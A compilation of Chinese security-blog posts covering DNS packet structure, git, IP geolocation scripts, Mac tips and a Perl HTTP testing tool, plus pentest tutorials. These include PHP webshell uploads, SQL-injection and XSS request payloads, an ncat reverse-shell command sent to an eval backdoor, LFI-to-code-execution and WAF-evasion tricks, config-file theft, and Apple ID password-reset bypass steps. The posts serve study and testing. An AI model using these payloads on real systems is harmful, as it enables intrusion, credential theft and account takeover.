碳基体

奋斗在产品安全第一线的安全妹子

十二、TCP/IP协议分析-DNS协议

一、DNS报文结构

DNS报文采用大端字节序,由DNS报头与DNS正文组成。

 

DNS报头定长12个字节,由

transaction ID 2个字节 

 + flags 2个字节

+questions 2个字节 查询段中的条目数

+answers RRs 2个字节 应答段中的资源记录数

+authority RRs 2个字节 授权段中的资源记录数

+additional RRs 2个字节  附加段中的资源记录数

组成。


其中flags对应的术语:

QR query/response 1位 0表示query 1表示response

OPCODE 4位   值为0表示标准查询,值为1表示逆向查询,值为2表示查询服务器状态,值为3保留,值为4表示通知,值为5表示更新报文,值6~15的留为新增操作用

AA 是否要求授权,在响应中有效

TC 是否截断

RD 是否期望递归

RA 是否递归可用

Z 保留位

RCODE 响应码4位:值0表示没有错误;1表示格式错误;2表示服务器故障;3表示名字错误,仅对来自权威服务器的响应有意义,表示查询中引用的域名不存在;4表示没有实现;5表示拒绝;6-15保留将来使用

bin(int('8180',base=16))‘0b1000000110000000' 


   



DNS正文包括

Question查询段、Answer应答段、Authority授权段、Additional附加段。

例如:对smtp.aol.com进行域名查询

    

Question查询段包括

qname 变长,以\0x00结尾

+ qtype 2个字节

+ qclass 2个字节 

  

  qtype常见的类型 

0x0010 (16)  表示TXT,e.x. cujo.movie.edu. IN TXT “Location: machine room dog house"

0x000f (15) 表示MX,  e.x. ora.com IN MX 0 ora.ora.com.

                                                        IN MX 10 ruby.ora.com

                                                        IN MX 10 opal.ora.com

0x001d (29)表示LOC location information,

0x000c (12) 表示PTR domain name pointer,e.x. 1.249.249.192.in-addr.arpa. IN PTR wormhole.movie.edu.

0x000d (13)表示 HINFO host information, e.x. grizzly.movie.edu. IN HINFO VAX-11/780 UNIX

0x0001  (1) 表示A (host address) e.x. localhost.movie.edu. IN A 127.0.0.1

0x001c  (28)表示AAAA (IPv6 address)

0x0005 (5) 表示CNAME ,e.x. wh.movie.edu. IN CNAME wormhole.movie.edu.

0x00ff (255) 表示 *(A request for all records the server/cache has available),

0x002 (2) 表示NS(authoritative name server),e.x. movie.edu. IN NS terminator.movie.edu

0x0021 (33)表示SRV(server selection)) 

0x0006 (6) 表示SOA 



Answer应答段、Authority授权段、Additional附加段包括: 

name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量

+ type  2个字节 

+ class  2个字节 

+ time to live 4个字节 

+ data length 2个字节 ,前2位必须是00,后面6位用于计算长度

+ data 变长

  

  

DNS数据格式

1. 2个字节整型

2. 4个字节整型

3. 域名

  

4.字符串

  


二、示例 

1. txt类型 可任意填写,可为空。一般做一些验证记录时会使用此项,如:做SPF(反垃圾邮件)记录

name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量

以0xc00c  为例:

bin(int('c00c',base=16)) ---> '0b1100000000001100'

int('00000000001100',base=2) --->12   ,头2位都是11,表示域名采用消息压缩,偏移量为12

+ type 2个字节  0x0010 10表示TXT类型

+ class 2个字节  0x0001

+ time to live 4个字节 0x0000010e

+ data length 2个字节  0x0010

+ data 变长 = (txt length 1个字节 0x0f + txt content组成)

  

2. MX类型 建立电子邮箱服务,将指向邮件服务器地址,需要设置MX记录。建立邮箱时,一般会根据邮箱服务商提供的MX记录填写此记录

 

name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量

以0xc00c  为例:

bin(int('c00c',base=16)) ---> '0b1100000000001100'

int('00000000001100',base=2) --->12   ,头2位都是11,表示域名采用消息压缩,偏移量为12

+ type 2个字节  0x000f 15表示MX类型

+ class 2个字节  0x0001

+ time to live 4个字节 0x00000228

+ data length 2个字节  0x000a

+ data 变长 = (preference优先级 2个字节 0x0028

 + mail exchange组成 0x 05 73 6d 74 70 34 c0 0c --> smtp4.google.com

      

3. A类型

  

name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量

以0xc02a  为例:

bin(int('c02a',base=16)) ---> '0b1100000000101010'

int('00000000101010',base=2) --->42   ,头2位都是11,表示域名采用消息压缩,偏移量为42

+ type 2个字节  0x0001 1表示A类型

+ class 2个字节  0x0001

+ time to live 4个字节 0x00000258

+ data length 2个字节  0x0004

+ data 变长 = (ip地址 0x d8ef251a

int('d8ef251a',base=16) ----> 3639551258

socket.inet_ntoa(struct.pack('!L',3639551258)) ---> 216.239.37.26

 )

  4. PTR类型 PTR记录是A记录的逆向记录,又称做IP反查记录或指针记录,负责将IP反向解析为域名 

name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量

以0xc00c  为例:

bin(int('c00c',base=16)) ---> '0b1100000000001100'

int('00000000001100',base=2) --->12   ,头2位都是11,表示域名采用消息压缩,偏移量为12

+ type 2个字节  0x000c 12表示PTR类型

+ class 2个字节  0x0001

+ time to live 4个字节 0x00015125

+ data length 2个字节  0x0020

+ data 变长 

  5. AAAA类型  将主机名(或域名)指向一个IPv6地址(例如:ff03:0:0:0:0:0:0:c1),需要添加AAAA记录 

name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量 

以0xc00c  为例:

bin(int('c00c',base=16)) ---> '0b1100000000001100'

int('00000000001100',base=2) --->12   ,头2位都是11,表示域名采用消息压缩,偏移量为12

+ type 2个字节  0x001c 28表示PTR类型

+ class 2个字节  0x0001

+ time to live 4个字节 0x00015180

+ data length 2个字节  0x0010

+ data 变长 

 

6. CNAME类型 如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加CNAME记录。这个域名一般是主机服务商提供的一个域名

  name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量 

以0xc00c  为例:

bin(int('c00c',base=16)) ---> '0b1100000000001100'

int('00000000001100',base=2) --->12   ,头2位都是11,表示域名采用消息压缩,偏移量为12

+ type 2个字节  0x0005 5表示CNAME类型

+ class 2个字节  0x0001

+ time to live 4个字节 0x00000279

+ data length 2个字节  0x0008

+ data 变长 ( 0x 03 77 77 77 01 6c c0 10 --- www.l.google.com)

  7.NS类型  域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置NS记录 

  

  name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量

以0xc00c  为例:

bin(int('c00c',base=16)) ---> '0b1100000000001100'

int('00000000001100',base=2) --->12   ,头2位都是11,表示域名采用消息压缩,偏移量为12

+ type 2个字节  0x0002 2表示NS类型

+ class 2个字节  0x0001

+ time to live 4个字节 0x0000000e

+ data length 2个字节  0x000e

+ data 变长 ( 0x 06 6e 73 2d 65 78 74 04 6e 72 74 31 c0 0c --- ns-ext.nrt1.isc.org)

  

  8.SOA 类型 SOA叫做起始授权机构记录,NS用于标识多台域名解析服务器,SOA记录用于在众多NS记录中那一台是主服务器 

  name 0x00

+ type 2个字节  0x0006 6表示SOA类型

+ class 2个字节  0x0001

+ time to live 4个字节 0x00000005

+ data length 2个字节  0x0040

+ data 变长 (Primary Name Server

 + Responsible authority's mailbox

+ serial number 4个字节

+ refresh interval 4个字节

+ retry Interval 4个字节

+ expire limit 4个字节

+ minimum ttl 4个字节)

  9. SRV 类型:添加服务记录服务器服务记录时会添加此项,SRV记录了哪台计算机提供了哪个服务。格式为:服务的名字.协议的类型(例如:_example-server._tcp) 

   name 0xc00c

+ type 2个字节  0x0021 33表示SRV类型

+ class 2个字节  0x0001

+ time to live 4个字节 0x00000258

+ data length 2个字节  0x001a

+ data 变长 (Priority 2个字节

 + weight 2个字节

+ Port 2个字节

+ target)

 

来源:碳基体

github最基本的使用

记录最简单的github源码托管操作,其实,作为IT人员,现在才提起github,已经过时到不行了。



最早接触github,完全是因为要“借用”大牛们编写的工具。于是最先学会了

git clone 地址 来下载源码

git pull 与更新源码


题外话,由于强迫症似的到处收集工具,除了git以外,还接触了Mercuria (hg),Subversion(svn)这些版本管理工具,但最最流行的还是git,其中github起到了巨大的推广作用(看看git的出书,it杂志上的git专栏)。


好了,回到正题。


首先,我们需要在本地机器上安装git


一、git安装

1. 本地安装git

windows下

下载

https://msysgit.github.io/


Debian/Ubuntu下

apt-get install git


Mac上


brew install git  或者 https://code.google.com/p/git-osx-installer


2. git命令自动补全

git clone https://github.com/git/git.git

cp git/contrib/completion/git-completion.bash ~/.git-completion.bash

vim ~/.bashrc

添加 

source  ~/.git-completion.bash

source .bashrc 

更多学习参考:https://git.oschina.net/progit/index.html



二、github注册帐号及基本的操作(以上传README文件为例)

1. github 注册帐号

https://github.com/


2.git全局配置

git config --global user.name "xxx" #你在github上的帐号 

git config --global user.email "xxx@gmail.com"#你在github上的邮箱地址


3.在github上创建一个repository

https://github.com/

点击create repositories, 为repository取个名字,以perl_tools为例


4.在本地创建源码文件夹

mkdir perl_tools

cd perl_tools/

git init


5.提交文件,以提交README文件为例 



vim README #在工作目录下修改文件,此时文件的状态是已修改状态


随便写点啥


git add README #将修改文件放到暂存目录,此时文件的状态是已暂存状态

git commit -m 'create README file' #将放置在暂存目录中的文件提交到本地仓库此时文件的状态是已提交状态

git remote add origin https://github.com/[github username][github_repository_name].git #添加远程仓库,例子中将远程仓库取名为origin,这个操作只需要一次,后续修改上传文件都不要执行

git push origin master #将本地仓库master的数据推送到远程仓库origin

Username for 'https://github.com': xxx
Password for 'https://xxx@github.com':

就ok了,上传其他文件步骤相同。


三、我的github

https://github.com/tanjiti/perl_tools

尝试上传了几个最近写的小工具(申明我是编程菜鸟),像搭积木,蛮好玩的


isRealSpider.pl 判断指定ip是不是google/baidu/yahoo/bing/msn爬虫

 

getIPinfoOnline.pl 查询指定IP的基本信息,读取了以下在线IP接口

    1  ipinfo.io

    2  ip-api.com

    3  ip-taobao.com 淘宝IP

    4  www.cz88.net 纯真IP

    5  ip.chinaz.com 站长之家IP

 

getIPinfoOffline.pl 从本地离线IP数据库查询指定IP/域名的基本信息,IP数据库来自maxmind.com

 

whichCDNUser.pl 判断指定host是否使用了CDN服务(能识别cloudflare,incapsula,360网站卫士, 加速乐,云加速,安全宝)

 

readTitle.pl 读取指定域名的title,主要加入了中文解码

 

来源:碳基体

获得IP的地理位置信IP Geolocation及IP位置可视化

一、IP Geolocation API

淘宝提供的IP查询API,用来查询境外IP时,效果不太好(ip-api.com)

curl ip.taobao.com/service/getIpInfo.php?ip=8.35.201.48
{"code":0,"data":{"country":"\u7f8e\u56fd","country_id":"US","area":"","area_id":"","region":"","region_id":"","city":"","city_id":"","county":"","county_id":"","isp":"","isp_id":"","ip":"8.35.201.48"}}

(xxxx,\u7f8e\u56fd是有多不友好)

国内的还有ip138TOOL站长工具纯真,但都不提供API

而ip-api.com的IP Geolocation API 则提供更为准确友好的信息

curl ip-api.com/json/8.35.201.48
{"status":"success","country":"United States","countryCode":"US","region":"","regionName":"","city":"","zip":"","lat":"38","lon":"-97","timezone":"","isp":"Level 3 Communications","org":"Google Translate","as":"AS15169 Google Inc.","query":"8.35.201.48"}


而除了以JSON格式提供,还同时支持CSV格式,NEW LINE格式

curl ip-api.com/csv/8.35.201.48     
success,"United States",US,,,,,38,-97,,"Level 3 Communications","Google Translate","AS15169 Google Inc.",8.35.201.48

curl ip-api.com/line/8.35.201.48   
success  (1.是否成功)
United States (2.国家名称)
US (3.国家编号)
    (4. 区域名称)
(5.区域编号)
(6.城市)
(7.城市编号)
38(8.纬度)
-97(9.经度)
(10.时区)
Level 3 Communications(11. ISP运营商名字)
Google Translate(12. 公司名字)
AS15169 Google Inc.(13. AS编号与名字)

8.35.201.48 (查询的IP)

当我们需要批量查询IP的归属地时(其实只要查询到ISP,基本就知道IP的的信息了),可以很方便的写个脚本调用该接口,以下有个例子ipISP.pl

#!/usr/bin/perl -w
$file = shift;
$fileout = $file.'_out_isp';

open IN, "<$file" or die "cannot open $file for reading :  $! ";
open OUT,">$fileout" or die "cannot open $fileout for writing : $!";

while(<IN>){
   chomp;
   if ($_ =~ /(\S+)/){
   $ip = $1;
      }
   $result = `wget -qO- ip-api.com/line/$ip | awk 'NR==11 {print "ISP: "\$0} '`;
   chomp($result);
   print OUT $ip."\t".$result."\n";
   sleep(1);#一定要等待,否则会被封ip
}

close IN;
close OUT;

perl ipISP.pl ip

ip文件如下

61.55.186.22    
61.55.186.21    
61.55.186.20    
61.55.186.18    


运行结果如下ip_out_isp

61.55.186.22    ISP: China Unicom Hebei
61.55.186.21    ISP: China Unicom Hebei
61.55.186.20    ISP: China Unicom Hebei
61.55.186.18    ISP: China Unicom Hebei



ip-api.com 的API对调用的频率限制实在是太小了,官方说调用频率需小于2qps(怀疑有点过小,但我就被封过IP,但官方给出的解释就是如此)


 


二、IP位置可视化(用地图来显示当前IP的位置)——iplookup

github上paulshi大牛就分享了个IP地址可视化的工具iplookup(感谢喜欢做有趣的东西并爱分享的程序猿门)


1. 效果展示

(1)查询当前IP的地理位置

   (2)查询指定IP的地理位置

   (3)查询指定域名的ip地理信息

 

2.iplookup安装

该工具的安装也很简单

第一步:到 https://www.mapbox.com/ 注册帐号,创建一个map,点击Share->Developer,获得mapid

第二步:下载并安装iplookup

git clone https://github.com/paulshi/iplookup.git

cd iplookup/

vim config.py

将第一步中获得的mapid填写进去


创建virtual env

pip install virtualenv

virtualenv ev

source ev/bin/activate


安装依赖包

pip install -r requirements.txt

依赖包有

Flask==0.10.1
Jinja2==2.7.1
MarkupSafe==0.18
Werkzeug==0.9.4
gunicorn==18.0
itsdangerous==0.23
requests==2.0.1
wsgiref==0.1.2


运行就可以了

python main.py

当然有人会说,这样定位地地址不准确,我明明在张江,为啥说我在闵行,拜托,又不是GPS。

来源:碳基体

mac os x开机自动运行程序的方法(以自动运行goagent proxy.py为例)



第一步:打开终端运行如下命令

sudo vim /Library/LaunchDaemons/com.go.agent.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.go.agent</string>
        <key>ProgramArguments</key>
        <array>
        <string>python</string>
        <string>/Users/leedani/Downloads/goagent/local/proxy.py(修改为存放goagent proxy.py的路径)</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
</dict>
</plist>

launchctl load /Library/LaunchDaemons/com.go.agent.plist 


第二步:重启系统

来源:碳基体

Mac使用小tips——软件安装

从开始研究iOS App安全开始,就入手了一台Mac book air,一下子就喜欢上了Mac操作系统,用户交互非常友好,终端操作也容易上手,属于unix挂的,内置了很多基本的命令工具,总的而言,比windows终端操作容易,比Ubuntu界面操作流畅。


操作系统上安装软件是最基本的操作,以下介绍三种安装方式



一、使用 homebrew安装应用

第一步:注册appledeveloper id


第二步:下载安装xcode


第三步:下载安装CommandLine Tools for xcode

打开xcode,xcode菜单中选择preferences,点击Downloads面板,查找commandline tools,然后安装。或直接https://developer.apple.com/downloads/index.action 下载安装


第四步:下载安装 homebrew

1. 安装brew

$ ruby -e "$(curl -fsSLk https://gist.github.com/raw/323731/install_homebrew.rb)"

brew 安装的软件存放在 /usr/local/Cellar中,同时会在 /usr/local/bin,/usr/local/sbin, /usr/local/lib 中创建链接。你可能需要将 /usr/local/sbin添加到搜索路径中。

$ vim ~/.profile

添加

PATH="$PATH:/usr/local/sbin"

export PATH

 

2. 使用brew

验证brew是否安装成功 brewdoctor

列出brew常用命令 brewhelp

安装软件 brew install package_name

卸载软件 brew uninstall

检索软件 brew search part_of_package_name 、brew search /regular_expression/

检查指定包是否已经安装 brew list |grep package_home

下载安装包但不安装 brew fetchpackage_name

查看安装包信息 brew info package_name

访问指定包的homepagebrew home package_name

列出安装包的内容 brewlist package_name

更新安装包 brewupgrade package_name

列出系统上安装的所有包brewlist

更新所有安装包brew update


3.brew update错误

当使用brew update命令时,出现了

Error:The following untracked working tree files would be overwritten by merge:Library/Formula/libarchive.rb

解决办法:

cd /usr/local/Library/Formula

git reset --hard FETCH_HEAD


与homebrew类似的还有MacPorts



二、命令行安装

第一步:检查安装包的内容

查看gzip,tar tvzfpackage.tar.gz | less  

查看bzip2,tar tvjfpackage.tar.bz2 | less

第二步:解压缩安装包

tar xvzf package.tar.gz

tar xvjf package.tar.bz2

第三步:查看install,readme文件

第四步:配置

./configure --help

./configure options

第五步:make

第六步:sudomake install


三、mac可执行文件的安装

直接将图标拖到application文件夹下即可


四、其他tips

1.在Finder标题栏上显示完整路径

终端输入

defaults write com.apple.finder _FXShowPosixPathInTitle -bool YESKillAll Finder

2.Mac系统下显示隐藏文件

终端输入

defaults write com.apple.finder AppleShowAllFiles -bool trueKillAll Finder

3. Mac系统下截图命令

command+shift+4



来源:碳基体

[科普]什么是 billion laughs-WordPress与Drupal的DoS攻击有感

这周最红的洞,无疑是 WordPress与Drupal xmlrpc.php引发的 DoS攻击 ,究其原理就是针对XML处理的一种叫billion laughs的攻击方式。


《web安全测试 》第5.10上传恶意XML实体文件这一章节就很清楚的介绍了这一攻击 。


攻击原理:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。


恶意XML结构示例:



生成脚本 :

https://github.com/tanjiti/perl_tools/blob/master/billionlaughs.pl

将生成的恶意XML文件的后缀改为xml,使用存在XML处理问题的XML处理器中打开(Windows XP就存在整个问题),然后就可以体验到死机的冻结感了。


我们看看流传的xml128.py PoC,实际就是向目标路径POST如下格式的XML内容,来耗尽内存

<?xml version="1.0" encoding="iso-8859-1"?>

<!DOCTYPE lolz [

<!ENTITY poc "aaa....">

]>

<lolz>&poc&poc.....</lolz>


参考:

《Web安全测试》

https://www.breaksec.com/?p=6362

来源:碳基体

HTTP.pl——通过HTTP发包工具了解HTTP协议

一、HTTP.pl功能简介

HTTP.pl perl编写的发包工具,简化版本curl,像curl致敬(唉,“致敬”都被于妈玩坏了)。


该发包工具支持HEAD,GET,METHOD三种基本请求方法,能处理 get/post方法的表单处理、文件上传请求、基本认证,能指定HTTP请求头,指定请求超时时间,指定自动Follow重定向的次数及使用代理。



使用的perl模块

(1)URI 相关模块 : 处理URI对象,分解及组装URI对象

use URI;
use URI::Split qw(uri_split uri_join);
use URI::Escape;

(2)HTTP协议相关部分:构造请求,发送请求,及解析响应

use LWP::UserAgent;
use HTTP::Headers;
use HTTP::Cookies;
use HTTP::Request::Common;


二、HTTP.pl脚本安装


git clone https://github.com/tanjiti/WAFTest

cpan App::cpanminuscat requirePackage.txt | cpanm

三、HTTP.pl使用实例

1. 脚本选项解析

perl HTTP.pl  --help

-help 帮助选项
-url 'https://xxxx.xx.com' HTTP请求的URL
-m|method GET|POST|HEAD   HTTP请求方法,默认为GET方法

-H|header X-Forwarded-For='127.0.0.1, 127.0.0.2' -H Via='Squid' HTTP请求头
-cookie usertrack='123456' -b hit=1 HTTP cookie
-d|data name='tanjiti' -d passwd=12345 HTTP 查询字符串/post表单数据


-A|user-agent 'baiduspider' HTTP UserAgent,默认值 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
-e|referer 'https://www.baidu.com' HTTP Referer

-proxy   'https://64.34.14.28:7808' 代理,支持https,http,socks代理
-t|timeout 180   请求超时时间,默认值180s
-L|redirect 7  重定向次数,默认值7次


-F|fileUpload  表明本次请求为文件上传
-fileFiled 'uploaded' 文件域name
-filePath  '/tmp/a.jpeg' 本地文件路径
-fileName  'a.php'  上传文件名
-fileContent '<?php eval($_POST[a]);?>' 上传文件内容
-fileType 'image/jpeg' 上传文件类型

-s|silent : 隐藏http完整内容,只显示http响应消息
-r|raw : 表明采用未进行urlencode编码的方式提交post数据

-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码


2.重定向例子

(1)关闭自动重定向

选项 -L

./HTTP.pl -url https://www.tanjiti.com/redirect.php -L 0

 

(2)设置自动重定向次数,默认为7次

./HTTP.pl -url https://www.tanjiti.com/redirect.php -L 1

 

3.基本认证例子


选项

-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码


需要基本验证的请求

./HTTP.pl -url https://www.tanjiti.com/xxx/

 

基本验证

./HTTP.pl -url https://www.tanjiti.com/xxx/  -basicAuth -username tanjiti -password q

 

4. GET提交表单的例子

选项 -d

./HTTP.pl -url https://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit'

 

5. POST提交表单的例子

选项 

-d 提交数据

-method 指定HTTP请求方法

-raw 是否进行urlencode编码

(1)提交urlencode编码

./HTTP.pl -url https://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post


(2)提交原始数据

./HTTP.pl -url https://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post -raw

 

6. 提交文件上传请求

选项说明

 -F|fileUpload  表明本次请求为文件上传

-fileFiled 'uploaded' 文件域name
-filePath  '/tmp/a.jpeg' 本地文件路径
-fileName  'a.php'  上传文件名
-fileContent '<?php eval($_POST[a]);?>' 上传文件内容
-fileType 'image/jpeg' 上传文件类型

-d 其他表单域数据

(1)上传本地文件到服务器

上传php文件

./HTTP.pl -url https://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php" 

 

上传jpeg图片文件

./HTTP.pl -url https://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/king.jpeg" 

 

(2) 上传本地文件到服务器,并修改文件实际的名字和类型

文件上传处理程序一般会检查文件名和文件类型,我们可以对其进行伪造

./HTTP.pl -url https://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php" -fileName '1.jpg .php' -fileType 'image/jpeg'

 


(3)  自己构造文件上传包的内容,包括文件名,文件类型,文件内容

./HTTP.pl -url https://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload  -fileName 'avator.jpeg' -fileType 'image/jpeg' -fileContent '<?php @eval($_POST[a]);?>'

 

7.构造cookie头

选项 

-cookie

./HTTP.pl -url https://www.tanjiti.com/a.php -cookie username="tanjiti' or ''= '' -- "  -cookie password='1 or 1=1 --'

   



8.构造HTTP头

在web攻击中,除了篡改cookie,http请求体外,http请求头也是被攻击的对象。因为应用程序出于某些特定需求需要从http请求头里收集信息。


下面是常见用于日志收集的HTTP请求头:

User-Agent 脚本中默认为 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0

Referer  用户是从这个页面上依照链接跳转过来的

Host 

Accept  告知服务器发送何种媒体类型,脚本中默认为text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Charset  e.g. utf-8 告知服务器发送何种字符集 

Accept-Encoding 告知服务器采用何种编码,脚本中默认为gzip,deflate,sdch

Accept-Language 告知服务器采用何种语言,脚本中默认为 zh-CN,zh;q=0.8,en;q=0.6 

X_Forwarded_For 经过的客户端IP地址 

Via   代理服务器标识

(1) 指定UserAgent

选项 

-A  或者-user-agent

./HTTP.pl -url https://www.tanjiti.com -A 'tanjiti'

  (2)指定referer

选项 

-e  或者-referer

./HTTP.pl -url https://www.tanjiti.com -e 'https://www.google.com'


 
   (3)指定HTTP头

./HTTP.pl -url https://127.0.0.1 -H Accept='*/*' -H Accept-Charset='utf-8' -H Accept-Encoding='identity' -H Accept-Language='zh-CN,zh;q=0.8,en;q=0.6' -H Host='www.tanjiti.com' -H Via='1.0 tanjiit.com(squid 0.54)' -H X-Forwarded-For='129.78.138.66, 129.78.64.103'

 


8.使用代理例子

选项 -proxy

(1)使用HTTP代理

./HTTP.pl  -url https://www.tanjiti.com -proxy https://61.158.219.226:8118

(2) 使用tor/socks代理

./HTTP.pl  -url https://www.tanjiti.com -proxy socks://127.0.0.1:9050

 ./HTTP.pl  -url https://www.tanjiti.com -proxy socks://180.153.139.246:8888


9.其它选项


(1) 仅发包,不回显具体的HTTP协议包

选项 -s

./HTTP.pl  -url https://www.tanjiti.com/a.php -s

(2)指定请求超时时间,默认为180s

选项 -t (单位s)

 ./HTTP.pl  -url https://www.tanjiti.com/ -t 20

四、HTTPFromFile.pl

从文件内容构造HTTP请求来发包

以测试某个站点WAF的XSS防御为例


第一步:构造XSS请求包

echo -ne 'GET /?a= HTTP/1.1\r\nHost: www.tanjiti.com\r\nUserAgent: curl 0.9\r\n' > xss.t


 

第二步:发送xss请求包

perl HTTPFromFile.pl -code 403 -host www.tanjiti.com -port 80 -file xss.t

 选项说明:

-code: 预期的http响应码,不是所有的waf都用403做拦截响应码

-host: 指定发包的Host,默认为127.0.0.1

-port 指定发包的端口,默认为80

-file 指定存放请求包内容的文件,必须指定该参数


HTTPFromFile还可以批量读取文件内容与发送请求包,并通缉结果

perl HTTPFromFile.pl -host www.tanjiti.com -dir ~/WAFTest/t

-dir 指定存放请求包内容的文件目录

 


参考:

《HTTP权威指南》

https://en.wikipedia.org/wiki/List_of_HTTP_header_fields

https://search.cpan.org/~mschilli/libwww-perl/lib/LWP.pm

来源:碳基体

php://input,php://filter,data URI schema的那些事


一、php://input一句话木马

在调研dedecms的历史漏洞时,发现了dedecms安装文件曾经出过被植入后门的漏洞(SSV-ID站点include目录下shopcar.class.php文件被植入一句话木马)

@eval(file_get_contents('php://input'))

我是个十足的php菜鸟,只有用到的时候才会去查查语法书,对php://input也只是有点印象而已,于是用脚本phpinput.php,配合firefox Hackbar插件测试了一下php://input的功能

<?php
$data=file_get_contents('php://input');
echo $data."<br/>";
//@eval(file_get_contents('php://input'))
?>

发现php://input是用来接收post数据(这里有 php://input的介绍)

 

注释掉phpinput.php的打印语句


<?php @eval(file_get_contents('php://input'))?>


使用firefox的hackbar提交上图显示的post data

system('ncat -e /bin/bash localhost 1234');


测试了一下nc反弹shell的利用,成功

 

看来,只要构造了合适的POST数据,就能达到getshell的目的。


二、php://input将文件包含漏洞变成代码执行漏洞

顿时觉得php://input好神奇,于是进一步搜索它还能发挥哪些作用。


在这里感谢Casperkid大牛的文章《php LFI读php文件源码以及直接post webshell》,我才知道文件包含可以这样深入。


接下来,演示TA是如何将文件包含漏洞转变成代码执行的漏洞。方法参考LFI exploitation via php://input


首先看一段存在文件包含漏洞的代码

<?php @include($_GET["file"])?>

 

我们使用php://input,将执行代码通过Firefox 的hackbar 在POST data中提交

<?php system('ifconfig');?>

看,文件包含漏洞变成代码执行漏洞了

   三、data URI schema将文件包含漏洞变成代码执行漏洞并绕过360网站卫士的WAF


那还有哪些办法,可以同样做到代码执行呢,Casperkid大牛的文章中提到,data URI schema的使用就可以达到这样的效果。

data URI schema,我曾经在做钓鱼的练习中,将攻击代码生成这种格式并配合短地址转换来生成恶意url,见《利用iframe URI钓鱼》,但没想到可以用在文件包含漏洞中。


接下来演示如何实施。


在实施的时候,我突然想到,文件包含漏洞,在读取php文件时,是不能显示文件内容的。

而很多情况,我们是急需读取PHP格式的配置文件,例如

dedecms数据库配置文件data/common.inc.php,

discuz全局配置文件config/config_global.php,

phpcms配置文件caches/configs/database.php

phpwind配置文件conf/database.php

wordpress配置文件wp-config.php

以便下一步渗透测试


于是我写了一段读取指定文件FileInclude.php的代码

<?php system('cat /var/www/FileInclude.php')?>

然后将攻击代码转化成data:URI,

data:text/plain,<?php system('cat /var/www/FileInclude.php')?>

运行,如下

   

注意,我们看到转化后的GET请求的参数中包含<?的标记,在遇到有些WAF,包括云WAF(例如360网站卫士),就会将其视为攻击代码,阻挡下来。于是我们需要做一下编码处理

data:text/plain;base64,[攻击代码的base64编码]


运行,如下

   

四、php://filter在文件包含漏洞中的利用——读取php文件源码内容

经过上面的操作,我们知道php://inputdata:URI schema可以将文件包含漏洞变成代码执行漏洞从而getshell。接下来看看php://input的好基友php://filter能做什么呢


参考LFI's Exploitation Techniques,我们可以采用php://filter以base64编码的方式读取指定文件的内容


php://filter/read=convert.base64-encode/resource=[文件路径]

下面演示通过php://filter读取本包含漏洞脚本的源码

 

接下来只要将base64编码后的字符串通过base64解码就可得到PHP文件的源码了



参考:

https://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/

https://zerofreak.blogspot.jp/2012/04/lfi-exploitation-via-phpinput-shelling.html

https://hi.baidu.com/qingsh4n/item/92ffa87281e7ee226cc37cc7

https://hi.baidu.com/casperkid/item/2baf952b13a9cd0e76272cb0

https://www.php.net/manual/zh/wrappers.php.php

来源:碳基体

apple ID可绕过安全提示问题直接修改密码漏洞

利用前提:知道受害者的apple id及其注册时的出生日期

利用步骤:

第一步:登录https://iforgot.apple.com/iForgot/iForgot.html,填写指定的apple id,点击下一步

第二步:选择验证方法—— 回答安全提示问题,点击下一步

第三步:填写apple id注册时填写的出生日期

第四步:开启web代理工具(我习惯用burpsuite),点击下一步,抓包,如下图所示。

 
修改https://iforgot.apple.com/iForgot/validateBirthDate.html请求中POST字段的 authentication为Null,即可绕过其他提示问题,直接进入创建新密码页面


以后在注册帐号时,设置找回密码提示问题时,一定不要填写真实的个人信息哦。


漏洞原文:https://www.vaibs.in/csrf-vulnerablity-on-apple-forgot-password-page/

来源:碳基体

web渗透信息侦察收集工具——Recon-ng

在web渗透测试中,信息侦察与收集相当重要,每个经验丰富的黑客都有自己独特的信息收集妙招,曾有幸参加过大牛们的信息收集交流,点子都非常赞。在秉承黑站思路第一的前提下,能合理的利用现有的优秀工具也是不错的选择,起码对新手而言,可以扩充思路。现在就记录一下Recon-ng 这款较新的信息侦察收集工具的使用。


Recon-ng官方文档


一、安装

1.安装依赖文件dnspython,httplib2,python-0auth2

sudo pip install dnspython (也可以使用easy_install安装)

sudo pip install httplib2

git clone https://github.com/synedra/python-oauth2.git

cd python-oauth2/

sudo python setup.py install

